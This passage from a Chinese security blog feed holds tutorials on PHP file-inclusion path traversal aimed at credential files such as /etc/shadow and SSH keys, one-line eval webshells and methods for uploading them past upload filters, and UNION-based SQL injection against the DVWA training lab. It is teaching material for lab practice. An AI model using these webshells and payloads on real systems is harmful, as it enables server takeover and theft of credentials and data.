<li>目录遍历:</li> </ul> <p>?file=../../../../../../../../../var/lib/locate.db</p> <p>?file=../../../../../../../../../var/lib/mlocate/mlocate.db</p> <p>(linux中这两个文件储存着所有文件的路径,需要root权限)</p> <ul> <li>包含错误日志:?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)</li> <li>获取web目录或者其他配置文件:</li> </ul> <p>?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf</p> <ul> <li>包含上传的附件:</li> </ul> <p>?file=../attachment/media/xxx.file</p> <ul> <li>读取session文件:</li> </ul> <p>?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7</p> <p>(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)</p> <ul> <li>如果拥有root权限还可以试试读这些东西:</li> </ul> <p>/root/.ssh/authorized_keys</p> <p>/root/.ssh/id_rsa</p> <p>/root/.ssh/id_rsa.keystore</p> <p>/root/.ssh/id_rsa.pub</p> <p>/root/.ssh/known_hosts</p> <p>/etc/shadow</p> <p>/root/.bash_history</p> <p>/root/.mysql_history</p> <p>/proc/self/fd/fd[0-9]* (文件标识符)</p> <p>/proc/mounts</p> <p>/proc/config.gz</p> <ul> <li>如果有phpinfo可以包含临时文件:</li> </ul> <p><strong>参考:</strong></p> <p>[1]《白帽子讲Web安全》,吴翰清</p> <p>[2] <a href="https://link.zhihu.com/?target=http%3A//blog.csdn.net/wangjian1012/article/details/51581440" target="_blank" rel="noopener">PHP文件包含漏洞总结 - wangjian1012的博客 - 博客频道 - CSDN.NET</a></p> 木马文件上传防御策略及几种绕过检测方式 https://p0st3r.github.io/post/webshell-upload-strategy/ Mon, 20 Mar 2017 00:00:00 +0000 https://p0st3r.github.io/post/webshell-upload-strategy/ <h1 id="0x01-中国菜刀连接">0x01 中国菜刀连接</h1> <h2 id="1-webshell">1. WebShell</h2> <p>WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WE目录下正常的网页文件混在一起,然后就可以使用浏览器或工具来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。</p> <p>通常来说,上传一句话木马通过中国菜刀连接是比较简便地拿到服务器的方法。菜刀可以连接asp、aspx、php、jsp的一句话木马。</p> <h2 id="2-一句话木马">2. 一句话木马</h2> <ul> <li> <p>asp:</p> <pre><code class="language-asp" data-lang="asp">&lt;%eval request(&quot;pass&quot;)%&gt; </code></pre></li> <li> <p>aspx:</p> <pre><code class="language-asp" data-lang="asp">&lt;%@ Page Language=&quot;Jscript&quot;%&gt;&lt;%eval(Request.Item[&quot;pass&quot;],&quot;unsafe&quot;);%&gt; </code></pre></li> <li> <p>php:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#f92672">@</span><span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;pass&#39;</span>]);<span style="color:#75715e">?&gt;</span> </code></pre></div></li> </ul> <p>其中,pass是这个木马中的密码的值,也可以替换为其他字符。</p> <h2 id="3-一句话木马运作方式">3. 一句话木马运作方式</h2> <p>首先,可以把这个一句话木马插入到一个正常的网站文件中,asp的插入到asp文件里,php的插入到php文件里,其他同理。也可以把木马单独写在一个文件里,比如新建一个php文件,整个php文件内容就只有这一句话。</p> <p>插入的方法,一般来讲是通过文件上传功能,如作业上传网站、图片上传网站,将木马文件上传到目标网站的服务器 中,再将文件存储的链接添加到菜刀中,输入木马的密码即可直接拿到服务器的控制权。</p> <h2 id="4-简单的例子">4. 简单的例子</h2> <h3 id="编写php木马">编写php木马</h3> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#f92672">@</span><span style="color:#66d9ef">eval</span>($_POST[<span style="color:#e6db74">&#39;xxt&#39;</span>]);<span style="color:#75715e">?&gt;</span> </code></pre></div><p>将该php文件命名为 【xxt.php】</p> <h3 id="降低dvwa安全标准">降低DVWA安全标准</h3> <p>因为这里主要是介绍菜刀的连接方式,为了简便使用没有防备的上传点。</p> <p>在DVWA漏洞训练平台中,登陆后将DVWA的安全级别调整为low(见红框内)。调整之后选择 File Upload, 进入页面。</p> <p><img src="https://pic3.zhimg.com/80/v2-381443d25db71eac8b4694a43e87bd7a_720w.png" alt="img"></p> <h3 id="上传php木马">上传php木马</h3> <p>浏览文件,选择【xxt.php】,点击 Upload 上传。</p> <p><img src="https://pic3.zhimg.com/80/v2-dd7586fe7d712c460bf4c0258a16a61a_720w.png" alt="img"></p> <p>上传成功,显示了文件的保存路径。前两个省略号是指父级目录,因此文件的绝对路径为</p> <p> <a href="https://link.zhihu.com/?target=http%3A//127.0.0.1/dvwa-master/hackable/uploads/xxt.php" target="_blank" rel="noopener">http://127.0.0.1/dvwa-master/hackable/uploads/xxt.php</a></p> <h3 id="菜刀连接">菜刀连接</h3> <p>打开菜刀,右键—&gt; 添加—&gt;输入绝对路径和密码—&gt;添加</p> <p><img src="https://pic3.zhimg.com/80/v2-2ad1a31cafac7f0f47871bb86d5e272a_720w.png" alt="img"></p> <p><img src="https://pic1.zhimg.com/80/v2-92e754f28b20e5950617bb7586926030_720w.png" alt="img"></p> <p>最上方的就是我们刚添加的后门路径,双击即可查看服务器文件夹,并对其操作</p> <p><img src="https://pic2.zhimg.com/80/v2-e909f9b64f937d6ca2abdf188a6a8135_720w.png" alt="img"></p> <p>因为这个DVWA平台是在我的本地服务器搭的,所以这里的服务器就是我自己的电脑啦</p> <h1 id="0x02-文件上传防御策略">0x02 文件上传防御策略</h1> <h2 id="1--常见防御策略">1. 常见防御策略</h2> <p>在一般的网站中,是不可能直接让你上传木马文件的,都要对上传进行过滤。</p> <p>通常会有文件类型限制、文件大小限制等过滤方式。文件类型限制最为常见,一般有<strong>前台文件扩展名检测</strong>、<strong>服务器端扩展名检测</strong>、<strong>content-type 参数检测</strong>或<strong>文件内容检测</strong>。</p> <h3 id="前台脚本检测扩展名">前台脚本检测扩展名</h3> <p>当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名。绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名,通过BurpSuite工具,截取数据包,并将数据包中文件扩展名更改回原来的,达到绕过的目的。</p> <h3 id="content-type文件类型检测">Content-Type文件类型检测</h3> <p><strong>Content-Type</strong>,内容类型,是网页请求中附带的参数,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,这就是经常看到一些Asp网页点击的结果却是下载到的一个文件或一张图片的原因。</p> <p><strong>ContentType</strong> 一般参数有</p> <ul> <li>application/x-cdf 应用型文件</li> <li>text/HTML 文本</li> <li>image/JPEG jpg 图片</li> <li>image/GIF gif图片</li> </ul> <p>当浏览器在上传文件到服务器的时候,服务器对说上传文件的 Content-Type 类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败。绕过 Content—Type 文件类型检测,就是用 BurpSuite 截取并修改数据包中文件的 Content-Type 类型,使其符合白名单的规则,达到上传的目的。</p> <h3 id="服务器端扩展名检测">服务器端扩展名检测</h3> <p>当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑白名单的限制,则不予上传,否则上传成功。</p> <h3 id="文件内容检测">文件内容检测</h3> <p>一般文件内容验证使用getimagesize()函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。所以经常要将一句话木马插入到一个【合法】的图片文件当中,然后用中国菜刀远程连接。</p> <h1 id="0x03-绕过检测上传">0x03 绕过检测上传</h1> <h2 id="1-利用00截断上传绕过前台检测">1. 利用00截断上传绕过前台检测</h2> <p>比如某网站的上传点采用了前端扩展名检测,只允许上传图片文件,而我们要上传一个php木马,可以按照以下步骤</p> <ol> <li> <p>php木马伪装jpg文件</p> <p>先编写一个一句话木马,命名为【lubr.php.jpg】,因为扩展名检测是从文件名的右边往左读的,当读到第一个【. 】的时候,便通过扩展名确定这个文件的类型。这里就将 php 文件伪装成了jpg 文件。</p> </li> <li> <p>BurpSuite拦截改2e为00</p> <p>开启 BurpSuite 的【proxy】 功能,在选择 【lubr.php.jpg】 文件后,点击上传。</p> <p>这时上传文件的数据包不会直接发往服务器,而是要经由 Burp 来发送,我们在这里可以查看和修改数据包的内容。</p> <p>点击hex查看十六进制源码,如下图</p> <p><img src="https://pic1.zhimg.com/80/v2-7af67370ae3ba0e72478a6f9d9c190b4_720w.png" alt="img"></p> <p>找到 lubr.php.jpg 对应的源码,将 lubr.php 后的【.】 对应的【2e】改为【00】</p> <p><img src="https://pic2.zhimg.com/80/v2-38ab35d43d6572a7c8065e43573f6465_720w.png" alt="img"></p> <p>【00】对应【空】 ,注意【空格Space】不等于【空】</p> <p>点击 【forward】,即可成功上传文件</p> </li> <li> <p>菜刀连接</p> <p>获取php木马的绝对路径,略</p> </li> </ol> <h2 id="2-截断改扩展名绕过前台检测">2. 截断改扩展名绕过前台检测</h2> <p>与00截断类似,此方法也是通过截断数据包做修改来实现的。</p> <p>如果直接上传php文件,会被拦截。</p> <p><img src="https://pic2.zhimg.com/80/v2-9ca0771bd3632f20b6d58d08cba476ed_720w.png" alt="img"></p> <ol> <li> <p>准备一句话木马</p> <p>先写一个php一句话木马,然后在这里命名为 lubr.jpg,而不是php文件</p> </li> <li> <p>BurpSuite拦截改扩展名</p> <p>在BurpSuite中会抓到截取的数据包,在数据包中将所上传的文件后缀名由【.jpg】改为【.php】</p> </li> </ol> <p><img src="https://pic1.zhimg.com/80/v2-b816c41f5bbf6b72037452111bf22c6c_720w.png" alt="img"></p> <p>​ 点击【forward】,传递数据包,前台即可提示,上传【lubr.php】成功</p> <p>​ 略</p> <h2 id="3--绕过content-type检测文件类型上传">3. 绕过Content-Type检测文件类型上传</h2> <p>Content-Type如果为【application/octet-stream】,这一般是可运行程序(木马)的类型,因此会拒绝上传。但如果我们将其改为【image/gif】图片类型,可能就能够绕过该检测。</p> <ol> <li> <p>BurpSuite拦截改Content-Type参数</p> <p>在BurpSuite中会抓到截取的数据包,在数据包中将所上传的文件的Content-Type由【application/octet-stream】改为【image/gif】</p> </li> </ol> <p>​ <img src="https://pic4.zhimg.com/80/v2-a92474b3bab37ace1d80ba8bb66725f7_720w.png" alt="img"></p> <p>​ 点击【forward】,传递数据包,前台即可提示,上传【lubr.php】成功</p> <p>​ 略</p> <h2 id="4-apache解析漏洞上传shell绕过服务器端扩展名检测">4. apache解析漏洞上传shell绕过服务器端扩展名检测</h2> <p>Apache 识别文件类型是从右向左识别的,如果如遇不认识的扩展名会向前一次识别,直到遇到能识别的扩展名**,**因为Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。这种漏洞存在于使用module模式与php结合的所有版本的Apache。</p> <p>假如某网站刚好使用了有解析漏洞版本的Apache,而且其对服务器端对【.php】文件直接上传做了过滤。</p> <ol> <li> <p>一句话木马</p> <p>因为服务器端对【.php】上传做了过滤,因此无论怎么用BurpSuite修改都不能上传成功。</p> <p>如果将该木马命名为 【lubr.php.adc】,则显示上传成功。</p> <p>因为服务器端黑名单只限制了几种扩展名的上传,而其他扩展名都是合法的,不论这种扩展名是否有效,而apache却能识别无效的扩展名并不予解析,这种不对称的扩展名识别造成了上传漏洞的产生。</p> </li> <li> <p>菜刀连接</p> </li> </ol> <p><img src="https://pic1.zhimg.com/80/v2-38cc75e063bd49751e267408dac2d338_720w.png" alt="img"></p> <p>​ 菜刀也不识别【.abc】,直接解析【.php】,连接成功。</p> <h2 id="5-构造图片马绕过文件内容检测">5. 构造图片马绕过文件内容检测</h2> <p>文件内容检测脚本中getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错,是一种比较严的防御措施。但并不代表其牢不可破。</p> <p>虽然php内容不合法,但我们可以将其伪装成一个图片,以欺骗检测脚本来进行非法上传。</p> <ol> <li> <p>构造图片马</p> <p>随便找一个图片,将其与要上传的木马置于同一文件夹下</p> <p><img src="https://pic2.zhimg.com/80/v2-a69e2e5d62aec6c57280a760497d80f1_720w.png" alt="img"></p> <p>打开cmd,进入该文件夹,输入</p> <pre><code>copy doram.jpg/b+lubr.php/a xiaoma.jpg </code></pre><p>将【lubr.php】插入到【doram.jpg】中。其中【xiaoma.jpg】是插入后的文件。</p> <p>用记事本打开【xiaoma.jpg】,发现木马插入到了文件最后。</p> <p><img src="https://pic4.zhimg.com/80/v2-551a4bca6c9b4744dccf6cc662ff533f_720w.png" alt="img"></p> </li> <li> <p>上传木马</p> <p>将文件名改为【xiaoma.jpg.php】,然后上传成功,菜刀连接。</p> <p>以上就是几种检测情况的绕过方法,真实情况下需各种方式配合使用。</p> </li> </ol> DVWA的SQL注入测试 https://p0st3r.github.io/post/dvwa-sql-injection-test/ Thu, 09 Feb 2017 00:00:00 +0000 https://p0st3r.github.io/post/dvwa-sql-injection-test/ <p>SQL注入:在用户的输入没有被转义字符过滤时。就会发生这种形式的注入式攻击,它会传递给数据库一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。</p> <p>具体来说,它是利用现有的应用出现,将(恶意)的SQL目录注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。</p> <h1 id="步骤">步骤</h1> <h2 id="低安全等级文件包含">低安全等级文件包含</h2> <h3 id="登陆dvwa">登陆DVWA</h3> <p>使用浏览器打开``,输入用户名密码登陆。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_45413" alt="img"></p> <h3 id="调整安全级别">调整安全级别</h3> <p>登陆后将DVWA的安全级别调整为low(见红框内)。调整之后选择SQL Injection,进入页面。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_48342" alt="img"></p> <h3 id="简单的id查询">简单的ID查询</h3> <p>提示输入User ID,输入正确的ID,将显示ID First name,Surname信息。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_64727" alt="img"></p> <h3 id="检测是否存在注入">检测是否存在注入</h3> <p>可以得知此处位注入点,尝试输入<code>'</code>,返回错误。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_58203" alt="img"></p> <h3 id="遍历数据库表">遍历数据库表</h3> <p>尝试遍历数据库表,提示输入的值是ID,可以初步判断此处为数字类型的注入。尝试输入<code>1 or 1=1</code>,尝试遍历数据库表。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_24591" alt="img"></p> <p>可见并没有达成目的,猜测程序将此处看成了字符型,尝试输入<code>1' or' 1' =' 1</code>后遍历出了数据库中所有内容。下面尝试不同语句,得到不同的结果。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_87635" alt="img"></p> <h3 id="查询信息列表长度">查询信息列表长度</h3> <p>利用<code>order by [num]</code>语句来测试查询信息列表长度,修改num的值,这里我们输入<code>1' order by 1 --</code>结果页面正常显示,<strong>注意–后面有空格</strong>。继续测试,<code>1' order by 2 --</code>,<code>1' order by 3 --</code>,当输入3时,页面报错。页面错误信息如下:<code>Unknown column '3' in 'order clause'</code>,由此我们判断查询结果值为2列。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_15397" alt="img"></p> <h3 id="获取数据库名称账户名版本及操作系统信息">获取数据库名称、账户名、版本及操作系统信息</h3> <p>通过使用<code>user()</code>,<code>database()</code>,<code>version()</code>三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。</p> <ul> <li>首先参数注入<code>1' and 1=2 union select 1,2 --</code>(<strong>注意–后有空格</strong>)。</li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_23692" alt="img"></p> <p>由上图得知,First name处显示结果位查询结果的第一列的值,surname处显示结果位查询结果第二列的值。</p> <ul> <li>通过注入<code>1' and 1=2 union select user(),database() --</code>得到数据库用户为<strong>root@localhost</strong>及数据库名<strong>dvwa</strong></li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_62655" alt="img"></p> <ul> <li>通过注入<code>1' and 1=2 union select version(),database() --</code>得到数据库版本信息,此处数据库版本为<strong>5.0.90-community-nt</strong>。</li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_83473" alt="img"></p> <ul> <li>通过注入<code>1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --</code>获得操作系统信息。</li> </ul> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_94423" alt="img"></p> <h3 id="查询mysql数据库所有数据库及表">查询mysql数据库所有数据库及表</h3> <p>通过注入<code>1' and 1=2 union select 1,schema_name from information_schema.schemata --</code>查询mysql数据库的所有数据库名。</p> <p>这里利用mysql默认的数据库<strong>information_schema</strong>,该数据库存储了Mysql所以数据库和表的信息。如图所示</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_21763" alt="img"></p> <h3 id="猜解表名">猜解表名</h3> <p>通过注入<code>1' and exists(select * from users) --</code>猜解dvwa数据库中的表名。</p> <p>利用<code>1' and exists(select * from [表名])</code>,这里测试的结果,表名为users,在真实的渗透环境中,攻击者往往关心存储管理员用户和密码信息的表。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_36450" alt="img"></p> <h3 id="猜解字段名">猜解字段名</h3> <p>猜解字段名:<code>1' and exists(select [表名] from users) --</code>。这里测试的字段名有<code>first_name</code>,<code>last_name</code>。</p> <p>通过注入<code>1' and exists(select first_name from users) --</code>和<code>1' and exists(select last_name from users) --</code>猜解字段名。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_21940" alt="img"></p> <h3 id="爆出数据库中字段内容">爆出数据库中字段内容</h3> <p>注入<code>1' and 1=2 union select first_name,last_name from users --</code>,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_94412" alt="img"></p> <h2 id="代码分析">代码分析</h2> <h3 id="low等级源代码">low等级源代码</h3> <p>如图所示</p> <p><img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_37330" alt="img"></p> <p>通过代码可以看出,对输入<strong>$id</strong>的值没有进行任何过滤就直接放入了SQL语句中进行处理,这样带来了极大的隐患。</p> <h3 id="中等等级代码分析">中等等级代码分析</h3> <p>将DVWA安全级别调整位medium,查看源代码。<img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_95600" alt="img"></p> <p>通过源代码可以看出,在中等级别时对输入的<strong>$id</strong>值使用<code>mysql_real_eascape_string()</code>函数进行了处理。在PHP中,使用<code>mysql_real_eascape_string()</code>函数用来转移SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字转换一下编码格式即可绕过该防护函数。比如URL编码等方式。</p> <p>同时发现SQL语句中变成了<code>“WHRER user_id = “$id”</code> ,此处变成了数字型注入,所以此处使用<code>mysql_real_eascape_string()</code>函数并没有起到防护作用。可以通过类似于<code>1 or 1=1</code>的语句来进行注入。</p> <h3 id="高等级代码分析">高等级代码分析</h3> <p>将DVWA安全级别调整为high,查看源代码。<img src="http://www.shiyanbar.com/UploadImage/2016/3/7/20_75240" alt="img"></p> <p>从源代码可以看出,此处为字符型注入。对传入<strong>$id</strong>的值使用<code>stripslashes()</code>函数处理以后,再经过到<code>$mysql_real_escape_string()</code>函数进行第二次过滤。在默认情况下,PHP会对所有的GET,POST和cookie数据自动运行<code>addslashes()</code>,<code>addslashes()</code>函数返回在部分与定义之前添加<code>\</code>。</p> <p><code>Striptslashes()</code>函数则是删除由<code>addslashes()</code>函数添加的反斜杠。在使用两个函数进行过滤之后再使用<code>is_numric()</code>函数检查<strong>$id</strong>值是否位数字,彻底断绝了注入的存在。此种防护不存在绕过的可能。</p>